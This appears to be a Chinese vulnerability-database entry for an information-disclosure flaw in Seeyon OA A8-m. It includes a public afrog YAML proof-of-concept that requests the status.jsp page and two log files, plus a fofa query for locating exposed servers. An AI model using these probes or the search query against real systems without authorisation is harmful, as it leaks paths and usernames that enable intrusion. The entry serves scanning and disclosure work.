seeyon-a8-info-disclosure: 致远OA A8 信息泄露漏洞

日期: 2025-09-01 | 影响软件: 致远OA A8 | POC: 已公开

漏洞描述

致远OA A8-m 存在状态监控页面信息泄露，攻击者可以从其中获取网站路径和用户名等敏感信息进一步攻击 title="A8-m" fofa：app="致远互联-OA"

PoC代码[已公开]

id: seeyon-a8-info-disclosure

info:
  name: 致远OA A8 信息泄露漏洞
  author: zan8in
  severity: medium
  description: |
    致远OA A8-m 存在状态监控页面信息泄露，攻击者可以从其中获取网站路径和用户名等敏感信息进一步攻击
    title="A8-m"
    fofa：app="致远互联-OA"
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E8%87%B4%E8%BF%9COA/%E8%87%B4%E8%BF%9COA%20A8%20status.jsp%20%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html
  
rules:
  r0:
    request:
      method: GET
      path: /seeyon/management/status.jsp
    expression: response.status == 200 && response.body.bcontains(b'Server') && response.body.bcontains(b'JVM')  && response.body.bcontains(b'GC')  && response.body.bcontains(b'http-80')
  r1:
    request:
      method: GET
      path: /seeyon/logs/login.log
    expression: response.status == 200 && response.body.bcontains(b'[Access URL]') && response.body.bcontains(b'==>')
  r2:
    request:
      method: GET
      path: /seeyon/logs/v3x.log
    expression: response.status == 200 && response.body.bcontains(b'[QuartzScheduler_Worker-1]  INFO AccountDaoBean:29')
expression: r0() || r1() || r2()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/seeyon-a8-info-disclosure.yaml

相关漏洞推荐